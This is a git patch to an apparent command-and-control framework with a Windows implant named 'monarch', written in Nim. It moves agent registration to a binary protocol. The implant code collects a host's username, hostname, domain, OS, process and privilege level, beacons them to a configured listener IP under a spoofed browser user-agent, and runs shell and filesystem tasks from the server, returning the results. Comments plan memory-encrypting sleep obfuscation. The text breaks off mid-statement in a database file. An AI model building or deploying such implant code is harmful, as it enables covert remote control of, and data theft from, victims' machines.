From 9f15026fd1f35346300f65bb6ef04ca023b62ee2 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Mon, 21 Jul 2025 22:07:25 +0200 Subject: [PATCH] Implemented agent registration to match new binary structure instead of json. --- src/agents/monarch/agentTypes.nim | 3 +- src/agents/monarch/commands/filesystem.nim | 6 +- src/agents/monarch/commands/shell.nim | 6 +- src/agents/monarch/commands/sleep.nim | 7 +- src/agents/monarch/{ => core}/http.nim | 50 ++++---- .../{agentinfo.nim => core/metadata.nim} | 93 +++++++++++++- src/agents/monarch/{task => core}/packer.nim | 36 +++++- .../{task/handler.nim => core/task.nim} | 6 +- .../{task/result.nim => core/taskresult.nim} | 4 +- src/agents/monarch/monarch.nim | 29 +++-- src/agents/monarch/nim.cfg | 14 +-- src/agents/monarch/utils.nim | 90 -------------- src/common/serialize.nim | 29 ++++- src/common/types.nim | 38 +++--- src/common/utils.nim | 53 ++++++++ src/server/api/handlers.nim | 24 ++-- src/server/api/routes.nim | 115 ++++++++---------- src/server/core/agent.nim | 12 +- src/server/core/listener.nim | 10 +- src/server/core/server.nim | 2 +- src/server/db/database.nim | 2 +- src/server/db/dbAgent.nim | 16 +-- src/server/db/dbListener.nim | 2 +- src/server/globals.nim | 2 +- src/server/task/dispatcher.nim | 4 +- src/server/task/packer.nim | 69 ++++++++++- src/server/task/parser.nim | 6 +- src/server/utils.nim | 51 +------- 28 files changed, 452 insertions(+), 327 deletions(-) rename src/agents/monarch/{ => core}/http.nim (53%) rename src/agents/monarch/{agentinfo.nim => core/metadata.nim} (58%) rename src/agents/monarch/{task => core}/packer.nim (74%) rename src/agents/monarch/{task/handler.nim => core/task.nim} (92%) rename src/agents/monarch/{task/result.nim => core/taskresult.nim} (93%) delete mode 100644 src/agents/monarch/utils.nim create mode 100644 src/common/utils.nim diff --git a/src/agents/monarch/agentTypes.nim b/src/agents/monarch/agentTypes.nim index 4585648..6a7f820 100644 --- a/src/agents/monarch/agentTypes.nim +++ b/src/agents/monarch/agentTypes.nim @@ -23,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = type AgentConfig* = ref object - listener*: string + agentId*: string + listenerId*: string ip*: string port*: int sleep*: int \ No newline at end of file diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim index 8974dd8..39b1028 100644 --- a/src/agents/monarch/commands/filesystem.nim +++ b/src/agents/monarch/commands/filesystem.nim @@ -1,8 +1,8 @@ import os, strutils, strformat, winim, times, algorithm -import ../[agentTypes, utils] -import ../task/result -import ../../../common/types +import ../agentTypes +import ../core/taskresult +import ../../../common/[types, utils] # Retrieve current working directory proc taskPwd*(config: AgentConfig, task: Task): TaskResult = diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim index 14cbf41..198d40f 100644 --- a/src/agents/monarch/commands/shell.nim +++ b/src/agents/monarch/commands/shell.nim @@ -1,8 +1,8 @@ import winim, osproc, strutils, strformat -import ../task/result -import ../[utils, agentTypes] -import ../../../common/types +import ../core/taskresult +import ../agentTypes +import ../../../common/[types, utils] proc taskShell*(config: AgentConfig, task: Task): TaskResult = diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim index c1d4331..bc4af37 100644 --- a/src/agents/monarch/commands/sleep.nim +++ b/src/agents/monarch/commands/sleep.nim @@ -1,8 +1,8 @@ import os, strutils, strformat -import ../[agentTypes, utils] -import ../task/result -import ../../../common/[types, serialize] +import ../[agentTypes] +import ../core/taskresult +import ../../../common/[types, utils, serialize] proc taskSleep*(config: AgentConfig, task: Task): TaskResult = @@ -16,7 +16,6 @@ proc taskSleep*(config: AgentConfig, task: Task): TaskResult = # Updating sleep in agent config config.sleep = delay - return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/core/http.nim similarity index 53% rename from src/agents/monarch/http.nim rename to src/agents/monarch/core/http.nim index 527e322..343c098 100644 --- a/src/agents/monarch/http.nim +++ b/src/agents/monarch/core/http.nim @@ -1,46 +1,44 @@ import httpclient, json, strformat, asyncdispatch -import ./[agentTypes, utils, agentInfo] -import ../../common/types +import ./metadata +import ../agentTypes +import ../../../common/[types, utils] -proc register*(config: AgentConfig): string = +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" - let client = newAsyncHttpClient() +proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} = - # Define headers - client.headers = newHttpHeaders({ "Content-Type": "application/json" }) + let client = newAsyncHttpClient(userAgent = USER_AGENT) - # Create registration payload - let body = %*{ - "username": getUsername(), - "hostname":getHostname(), - "domain": getDomain(), - "ip": getIPv4Address(), - "os": getOSVersion(), - "process": getProcessExe(), - "pid": getProcessId(), - "elevated": isElevated(), - "sleep": config.sleep - } - echo $body + # Define HTTP headers + client.headers = newHttpHeaders({ + "Content-Type": "application/octet-stream", + "Content-Length": $registrationData.len + }) + + let body = registrationData.toString() try: # Register agent to the Conquest server - return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body) + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body) + except CatchableError as err: echo "[-] [register]:", err.msg quit(0) + finally: client.close() -proc getTasks*(config: AgentConfig, agent: string): string = + return true - let client = newAsyncHttpClient() +proc getTasks*(config: AgentConfig): string = + + let client = newAsyncHttpClient(userAgent = USER_AGENT) var responseBody = "" try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks") + responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks") return responseBody except CatchableError as err: @@ -52,9 +50,9 @@ proc getTasks*(config: AgentConfig, agent: string): string = return "" -proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool = +proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} = - let client = newAsyncHttpClient() + let client = newAsyncHttpClient(userAgent = USER_AGENT) # Define headers client.headers = newHttpHeaders({ @@ -68,7 +66,7 @@ proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[b try: # Send binary task result data to server - discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body) + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body) except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time diff --git a/src/agents/monarch/agentinfo.nim b/src/agents/monarch/core/metadata.nim similarity index 58% rename from src/agents/monarch/agentinfo.nim rename to src/agents/monarch/core/metadata.nim index f188cad..a860af8 100644 --- a/src/agents/monarch/agentinfo.nim +++ b/src/agents/monarch/core/metadata.nim @@ -1,6 +1,7 @@ import winim, os, net, strformat, strutils, registry -import ./[agentTypes, utils] +import ../agentTypes +import ../../../common/[types, utils] # Hostname/Computername proc getHostname*(): string = @@ -68,6 +69,69 @@ proc getIPv4Address*(): string = return $getPrimaryIpAddr() # Windows Version fingerprinting +proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string = + let + major = info.dwMajorVersion + minor = info.dwMinorVersion + build = info.dwBuildNumber + spMajor = info.wServicePackMajor + + if major == 10 and minor == 0: + if productType == WORKSTATION: + if build >= 22000: + return "Windows 11" + else: + return "Windows 10" + + else: + case build: + of 20348: + return "Windows Server 2022" + of 17763: + return "Windows Server 2019" + of 14393: + return "Windows Server 2016" + else: + return fmt"Windows Server 10.x (Build: {build})" + + elif major == 6: + case minor: + of 3: + if productType == WORKSTATION: + return "Windows 8.1" + else: + return "Windows Server 2012 R2" + of 2: + if productType == WORKSTATION: + return "Windows 8" + else: + return "Windows Server 2012" + of 1: + if productType == WORKSTATION: + return "Windows 7" + else: + return "Windows Server 2008 R2" + of 0: + if productType == WORKSTATION: + return "Windows Vista" + else: + return "Windows Server 2008" + else: + discard + + elif major == 5: + if minor == 2: + if productType == WORKSTATION: + return "Windows XP x64 Edition" + else: + return "Windows Server 2003" + elif minor == 1: + return "Windows XP" + else: + discard + + return "Unknown Windows Version" + proc getProductType(): ProductType = # The product key is retrieved from the registry # HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions @@ -108,4 +172,29 @@ proc getOSVersion*(): string = else: return "Unknown" - \ No newline at end of file +proc getRegistrationData*(config: AgentConfig): AgentRegistrationData = + + return AgentRegistrationData( + header: Header( + magic: MAGIC, + version: VERSION, + packetType: cast[uint8](MSG_RESPONSE), + flags: cast[uint16](FLAG_PLAINTEXT), + seqNr: 1'u32, # TODO: Implement sequence tracking + size: 0'u32, + hmac: default(array[16, byte]) + ), + metadata: AgentMetadata( + agentId: uuidToUint32(config.agentId), + listenerId: uuidToUint32(config.listenerId), + username: getUsername().toBytes(), + hostname: getHostname().toBytes(), + domain: getDomain().toBytes(), + ip: getIPv4Address().toBytes(), + os: getOSVersion().toBytes(), + process: getProcessExe().toBytes(), + pid: cast[uint32](getProcessId()), + isElevated: cast[uint8](isElevated()), + sleep: cast[uint32](config.sleep) + ) + ) diff --git a/src/agents/monarch/task/packer.nim b/src/agents/monarch/core/packer.nim similarity index 74% rename from src/agents/monarch/task/packer.nim rename to src/agents/monarch/core/packer.nim index 12f7d40..a535b32 100644 --- a/src/agents/monarch/task/packer.nim +++ b/src/agents/monarch/core/packer.nim @@ -1,7 +1,6 @@ import strutils, strformat -import ../[agentTypes, utils] -import ../../../common/[types, serialize] +import ../../../common/[types, utils, serialize] proc deserializeTask*(bytes: seq[byte]): Task = @@ -127,6 +126,39 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] = return header & body +proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] = + var packer = initPacker() + # Serialize registration data + packer + .add(data.metadata.agentId) + .add(data.metadata.listenerId) + .addVarLengthMetadata(data.metadata.username) + .addVarLengthMetadata(data.metadata.hostname) + .addVarLengthMetadata(data.metadata.domain) + .addVarLengthMetadata(data.metadata.ip) + .addVarLengthMetadata(data.metadata.os) + .addVarLengthMetadata(data.metadata.process) + .add(data.metadata.pid) + .add(data.metadata.isElevated) + .add(data.metadata.sleep) + let metadata = packer.pack() + packer.reset() + + # TODO: Encrypt metadata + + # Serialize header + packer + .add(data.header.magic) + .add(data.header.version) + .add(data.header.packetType) + .add(data.header.flags) + .add(data.header.seqNr) + .add(cast[uint32](metadata.len)) + .addData(data.header.hmac) + + let header = packer.pack() + + return header & metadata \ No newline at end of file diff --git a/src/agents/monarch/task/handler.nim b/src/agents/monarch/core/task.nim similarity index 92% rename from src/agents/monarch/task/handler.nim rename to src/agents/monarch/core/task.nim index 132d390..533b259 100644 --- a/src/agents/monarch/task/handler.nim +++ b/src/agents/monarch/core/task.nim @@ -1,7 +1,8 @@ import strutils, tables, json + import ../agentTypes import ../commands/commands -import ../../../common/types +import ../../../common/[types, utils] import sugar proc handleTask*(config: AgentConfig, task: Task): TaskResult = @@ -19,4 +20,5 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult = }.toTable # Handle task command - return handlers[cast[CommandType](task.command)](config, task) \ No newline at end of file + return handlers[cast[CommandType](task.command)](config, task) + diff --git a/src/agents/monarch/task/result.nim b/src/agents/monarch/core/taskresult.nim similarity index 93% rename from src/agents/monarch/task/result.nim rename to src/agents/monarch/core/taskresult.nim index 5e823ae..423bc3b 100644 --- a/src/agents/monarch/task/result.nim +++ b/src/agents/monarch/core/taskresult.nim @@ -1,5 +1,5 @@ -import times -import ../../../common/types +import times +import ../../../common/[types, utils] proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim index 8982b8d..6fe670c 100644 --- a/src/agents/monarch/monarch.nim +++ b/src/agents/monarch/monarch.nim @@ -1,9 +1,10 @@ -import strformat, os, times +import strformat, os, times, random import winim +import sugar -import ./[agentTypes, http] -import task/handler, task/packer -import ../../common/types +import ./agentTypes +import core/[task, packer, http, metadata] +import ../../common/[types, utils] const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -14,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555 const SleepDelay {.intdefine.}: int = 10 proc main() = + randomize() #[ The process is the following: @@ -35,14 +37,19 @@ proc main() = # Create agent configuration var config = AgentConfig( - listener: ListenerUuid, + agentId: generateUUID(), + listenerId: ListenerUuid, ip: address, port: ListenerPort, sleep: SleepDelay ) - let agent = config.register() - echo fmt"[+] [{agent}] Agent registered." + # Create registration payload + let registrationData: AgentRegistrationData = config.getRegistrationData() + let registrationBytes = serializeRegistrationData(registrationData) + + config.register(registrationBytes) + echo fmt"[+] [{config.agentId}] Agent registered." #[ Agent routine: @@ -54,13 +61,14 @@ proc main() = ]# while true: + # TODO: Replace with actual sleep obfuscation that encrypts agent memory sleep(config.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo fmt"[{date}] Checking in." # Retrieve task queue for the current agent - let packet: string = config.getTasks(agent) + let packet: string = config.getTasks() if packet.len <= 0: echo "No tasks to execute." @@ -78,9 +86,8 @@ proc main() = result: TaskResult = config.handleTask(task) resultData: seq[byte] = serializeTaskResult(result) - echo resultData - - discard config.postResults(result, resultData) + # echo resultData + config.postResults(resultData) when isMainModule: main() \ No newline at end of file diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg index 932c1d0..113a71e 100644 --- a/src/agents/monarch/nim.cfg +++ b/src/agents/monarch/nim.cfg @@ -1,8 +1,8 @@ # Agent configuration --d:ListenerUuid="CFD80565" --d:Octet1="127" --d:Octet2="0" --d:Octet3="0" --d:Octet4="1" --d:ListenerPort=9999 --d:SleepDelay=3 +-d:ListenerUuid="A5466110" +-d:Octet1="172" +-d:Octet2="29" +-d:Octet3="177" +-d:Octet4="43" +-d:ListenerPort=8888 +-d:SleepDelay=5 diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim deleted file mode 100644 index 5e2c977..0000000 --- a/src/agents/monarch/utils.nim +++ /dev/null @@ -1,90 +0,0 @@ -import strformat, strutils -import ./agentTypes - -proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = - let - major = info.dwMajorVersion - minor = info.dwMinorVersion - build = info.dwBuildNumber - spMajor = info.wServicePackMajor - - if major == 10 and minor == 0: - if productType == WORKSTATION: - if build >= 22000: - return "Windows 11" - else: - return "Windows 10" - - else: - case build: - of 20348: - return "Windows Server 2022" - of 17763: - return "Windows Server 2019" - of 14393: - return "Windows Server 2016" - else: - return fmt"Windows Server 10.x (Build: {build})" - - elif major == 6: - case minor: - of 3: - if productType == WORKSTATION: - return "Windows 8.1" - else: - return "Windows Server 2012 R2" - of 2: - if productType == WORKSTATION: - return "Windows 8" - else: - return "Windows Server 2012" - of 1: - if productType == WORKSTATION: - return "Windows 7" - else: - return "Windows Server 2008 R2" - of 0: - if productType == WORKSTATION: - return "Windows Vista" - else: - return "Windows Server 2008" - else: - discard - - elif major == 5: - if minor == 2: - if productType == WORKSTATION: - return "Windows XP x64 Edition" - else: - return "Windows Server 2003" - elif minor == 1: - return "Windows XP" - else: - discard - - return "Unknown Windows Version" - -proc toString*(data: seq[byte]): string = - result = newString(data.len) - for i, b in data: - result[i] = char(b) - -proc toBytes*(data: string): seq[byte] = - result = newSeq[byte](data.len) - for i, c in data: - result[i] = byte(c.ord) - -proc uuidToUint32*(uuid: string): uint32 = - return fromHex[uint32](uuid) - -proc uuidToString*(uuid: uint32): string = - return uuid.toHex(8) - -proc toUint32*(data: seq[byte]): uint32 = - if data.len != 4: - raise newException(ValueError, "Expected 4 bytes for uint32") - - return uint32(data[0]) or - (uint32(data[1]) shl 8) or - (uint32(data[2]) shl 16) or - (uint32(data[3]) shl 24) \ No newline at end of file diff --git a/src/common/serialize.nim b/src/common/serialize.nim index ee6f0a7..3d3d945 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -1,6 +1,5 @@ import streams, strutils -import ./types - +import ./[types, utils] type Packer* = ref object stream: StringStream @@ -34,6 +33,19 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} = packer.addData(arg.data) return packer +proc addVarLengthMetadata*(packer: Packer, metadata: seq[byte]): Packer {.discardable.} = + + # Add length of metadata field + packer.add(cast[uint32](metadata.len)) + + if metadata.len <= 0: + # Field is empty (e.g. not domain joined) + return packer + + # Add content + packer.addData(metadata) + return packer + proc pack*(packer: Packer): seq[byte] = packer.stream.setPosition(0) let data = packer.stream.readAll() @@ -102,4 +114,15 @@ proc getArgument*(unpacker: Unpacker): TaskArg = of BOOL: result.data = unpacker.getBytes(1) else: - discard \ No newline at end of file + discard + +proc getVarLengthMetadata*(unpacker: Unpacker): string = + + # Read length of metadata field + let length = unpacker.getUint32() + + if length <= 0: + return "" + + # Read content + return unpacker.getBytes(int(length)).toString() \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 0164b03..0a4ea79 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -13,7 +13,8 @@ type PacketType* = enum MSG_TASK = 0'u8 MSG_RESPONSE = 1'u8 - MSG_REGISTER = 100'u8 + MSG_REGISTER = 2'u8 + MSG_CHECKIN = 100'u8 ArgType* = enum STRING = 0'u8 @@ -101,27 +102,36 @@ type # Agent structure type + + # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data + AgentMetadata* = object + agentId*: uint32 + listenerId*: uint32 + username*: seq[byte] + hostname*: seq[byte] + domain*: seq[byte] + ip*: seq[byte] + os*: seq[byte] + process*: seq[byte] + pid*: uint32 + isElevated*: uint8 + sleep*: uint32 + AgentRegistrationData* = object - username*: string - hostname*: string - domain*: string - ip*: string - os*: string - process*: string - pid*: int - elevated*: bool - sleep*: int + header*: Header + # encMaterial*: seq[byte] # Encryption material for the agent registration + metadata*: AgentMetadata Agent* = ref object - name*: string - listener*: string + agentId*: string + listenerId*: string username*: string hostname*: string domain*: string - process*: string - pid*: int ip*: string os*: string + process*: string + pid*: int elevated*: bool sleep*: int jitter*: float diff --git a/src/common/utils.nim b/src/common/utils.nim new file mode 100644 index 0000000..3aefb99 --- /dev/null +++ b/src/common/utils.nim @@ -0,0 +1,53 @@ +import strutils, sequtils, random, strformat + +proc generateUUID*(): string = + # Create a 4-byte HEX UUID string (8 characters) + (0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join() + +proc uuidToUint32*(uuid: string): uint32 = + return fromHex[uint32](uuid) + +proc uuidToString*(uuid: uint32): string = + return uuid.toHex(8) + +proc toString*(data: seq[byte]): string = + result = newString(data.len) + for i, b in data: + result[i] = char(b) + +proc toBytes*(data: string): seq[byte] = + result = newSeq[byte](data.len) + for i, c in data: + result[i] = byte(c.ord) + +proc toUint32*(data: seq[byte]): uint32 = + if data.len != 4: + raise newException(ValueError, "Expected 4 bytes for uint32") + + return uint32(data[0]) or + (uint32(data[1]) shl 8) or + (uint32(data[2]) shl 16) or + (uint32(data[3]) shl 24) + +proc toHexDump*(data: seq[byte]): string = + for i, b in data: + result.add(b.toHex(2)) + if i < data.len - 1: + if (i + 1) mod 4 == 0: + result.add(" | ") # Add | every 4 bytes + else: + result.add(" ") # Regular space + +proc toBytes*(value: uint16): seq[byte] = + return @[ + byte(value and 0xFF), + byte((value shr 8) and 0xFF) + ] + +proc toBytes*(value: uint32): seq[byte] = + return @[ + byte(value and 0xFF), + byte((value shr 8) and 0xFF), + byte((value shr 16) and 0xFF), + byte((value shr 24) and 0xFF) + ] \ No newline at end of file diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 1d33638..c1d7400 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -3,37 +3,39 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys import ../[utils, globals] import ../db/database import ../task/packer -import ../../common/types +import ../../common/[types, utils] + +import sugar # Utility functions proc add*(cq: Conquest, agent: Agent) = - cq.agents[agent.name] = agent + cq.agents[agent.agentId] = agent #[ Agent API Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results ]# -proc register*(agent: Agent): bool = +proc register*(registrationData: seq[byte]): bool = # The following line is required to be able to use the `cq` global variable for console output {.cast(gcsafe).}: - # Check if listener that is requested exists - # TODO: Verify that the listener accessed is also the listener specified in the URL - # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database - if not cq.dbListenerExists(agent.listener.toUpperAscii): - cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n") + let agent: Agent = deserializeNewAgent(registrationData) + + # Validate that listener exists + if not cq.dbListenerExists(agent.listenerId.toUpperAscii): + cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n") return false - # Store agent in database + # # Store agent in database if not cq.dbStoreAgent(agent): - cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n") + cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.agentId} into database.", "\n") return false cq.add(agent) let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss") - cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") + cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") return true diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index eafdd51..0e0e55c 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -3,84 +3,71 @@ import sequtils, strutils, times, base64 import ./handlers import ../[utils, globals] -import ../../common/types - -proc encode(bytes: seq[seq[byte]]): string = - result = "" - for task in bytes: - result &= encode(task) +import ../../common/[types, utils] proc error404*(ctx: Context) {.async.} = resp "", Http404 #[ - POST /{listener-uuid}/register + POST /register Called from agent to register itself to the conquest server ]# proc register*(ctx: Context) {.async.} = # Check headers - # If POST data is not JSON data, return 404 error code - if ctx.request.contentType != "application/json": + # If POST data is not binary data, return 404 error code + if ctx.request.contentType != "application/octet-stream": resp "", Http404 return - # The JSON data for the agent registration has to be in the following format - #[ - { - "username": "username", - "hostname":"hostname", - "domain": "domain.local", - "ip": "ip-address", - "os": "operating-system", - "process": "agent.exe", - "pid": 1234, - "elevated": false. - "sleep": 10 - } - ]# - try: - let - postData: JsonNode = parseJson(ctx.request.body) - agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData) - agentUuid: string = generateUUID() - listenerUuid: string = ctx.getPathParams("listener") - date: DateTime = now() - - let agent: Agent = Agent( - name: agentUuid, - listener: listenerUuid, - username: agentRegistrationData.username, - hostname: agentRegistrationData.hostname, - domain: agentRegistrationData.domain, - process: agentRegistrationData.process, - pid: agentRegistrationData.pid, - ip: agentRegistrationData.ip, - os: agentRegistrationData.os, - elevated: agentRegistrationData.elevated, - sleep: agentRegistrationData.sleep, - jitter: 0.2, - tasks: @[], - firstCheckin: date, - latestCheckin: date - ) - - # Fully register agent and add it to database - if not agent.register(): - # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed - # Return a 404 error code either way - resp "", Http404 - return - - # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results - resp agent.name + let agentId = register(ctx.request.body.toBytes()) + resp "Ok", Http200 except CatchableError: - # JSON data is invalid or does not match the expected format (described above) resp "", Http404 - return + # try: + # let + # postData: JsonNode = parseJson(ctx.request.body) + # agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData) + # agentUuid: string = generateUUID() + # listenerUuid: string = ctx.getPathParams("listener") + # date: DateTime = now() + + # let agent: Agent = Agent( + # name: agentUuid, + # listener: listenerUuid, + # username: agentRegistrationData.username, + # hostname: agentRegistrationData.hostname, + # domain: agentRegistrationData.domain, + # process: agentRegistrationData.process, + # pid: agentRegistrationData.pid, + # ip: agentRegistrationData.ip, + # os: agentRegistrationData.os, + # elevated: agentRegistrationData.elevated, + # sleep: agentRegistrationData.sleep, + # jitter: 0.2, + # tasks: @[], + # firstCheckin: date, + # latestCheckin: date + # ) + + # # Fully register agent and add it to database + # if not agent.register(): + # # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed + # # Return a 404 error code either way + # resp "", Http404 + # return + + # # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results + # resp agent.name + + # except CatchableError: + # # JSON data is invalid or does not match the expected format (described above) + # resp "", Http404 + + # return #[ GET /{listener-uuid}/{agent-uuid}/tasks @@ -122,17 +109,11 @@ proc getTasks*(ctx: Context) {.async.} = resp "", Http404 #[ - POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results + POST /results Called from agent to post results of a task - ]# proc postResults*(ctx: Context) {.async.} = - let - listener = ctx.getPathParams("listener") - agent = ctx.getPathParams("agent") - task = ctx.getPathParams("task") - # Check headers # If POST data is not binary data, return 404 error code if ctx.request.contentType != "application/octet-stream": diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim index 7d10778..ab03161 100644 --- a/src/server/core/agent.nim +++ b/src/server/core/agent.nim @@ -3,12 +3,12 @@ import terminal, strformat, strutils, tables, times, system, osproc, streams import ../utils import ../task/dispatcher import ../db/database -import ../../common/types +import ../../common/[types, utils] # Utility functions proc addMultiple*(cq: Conquest, agents: seq[Agent]) = for a in agents: - cq.agents[a.name] = a + cq.agents[a.agentId] = a proc delAgent*(cq: Conquest, agentName: string) = cq.agents.del(agentName) @@ -65,8 +65,8 @@ proc agentInfo*(cq: Conquest, name: string) = # TODO: Improve formatting cq.writeLine(fmt""" -Agent name (UUID): {agent.name} -Connected to listener: {agent.listener} +Agent name (UUID): {agent.agentId} +Connected to listener: {agent.listenerId} ────────────────────────────────────────── Username: {agent.username} Hostname: {agent.hostname} @@ -113,9 +113,9 @@ proc agentInteract*(cq: Conquest, name: string) = var command: string = "" # Change prompt indicator to show agent interaction - cq.setIndicator(fmt"[{agent.name}]> ") + cq.setIndicator(fmt"[{agent.agentId}]> ") cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")]) - cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n") + cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.agentId, resetStyle, ". Type 'help' to list available commands.\n") cq.interactAgent = agent while command.replace(" ", "") != "back": diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 0f757a0..f2174bc 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -4,7 +4,7 @@ import prologue import ../utils import ../api/routes import ../db/database -import ../../common/types +import ../../common/[types, utils] # Utility functions proc delListener(cq: Conquest, listenerName: string) = @@ -66,9 +66,9 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = var listener = newApp(settings = listenerSettings) # Define API endpoints - listener.post("{listener}/register", routes.register) + listener.post("register", routes.register) listener.get("{listener}/{agent}/tasks", routes.getTasks) - listener.post("{listener}/{agent}/{task}/results", routes.postResults) + listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) # Store listener in database @@ -99,9 +99,9 @@ proc restartListeners*(cq: Conquest) = listener = newApp(settings = settings) # Define API endpoints - listener.post("{listener}/register", routes.register) + listener.post("register", routes.register) listener.get("{listener}/{agent}/tasks", routes.getTasks) - listener.post("{listener}/{agent}/{task}/results", routes.postResults) + listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) try: diff --git a/src/server/core/server.nim b/src/server/core/server.nim index 34438b4..ebfb89a 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables import ./[agent, listener] import ../[globals, utils] import ../db/database -import ../../common/types +import ../../common/[types, utils] #[ Argument parsing diff --git a/src/server/db/database.nim b/src/server/db/database.nim index c637099..7981f62 100644 --- a/src/server/db/database.nim +++ b/src/server/db/database.nim @@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite import ./[dbAgent, dbListener] import ../utils -import ../../common/types +import ../../common/[types, utils] # Export functions so that only ./db/database is required to be imported export dbAgent, dbListener diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim index c5c64fb..b51c84a 100644 --- a/src/server/db/dbAgent.nim +++ b/src/server/db/dbAgent.nim @@ -1,7 +1,7 @@ import system, terminal, tiny_sqlite, times import ../utils -import ../../common/types +import ../../common/[types, utils] #[ Agent database functions @@ -14,7 +14,7 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool = conquestDb.exec(""" INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); - """, agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, 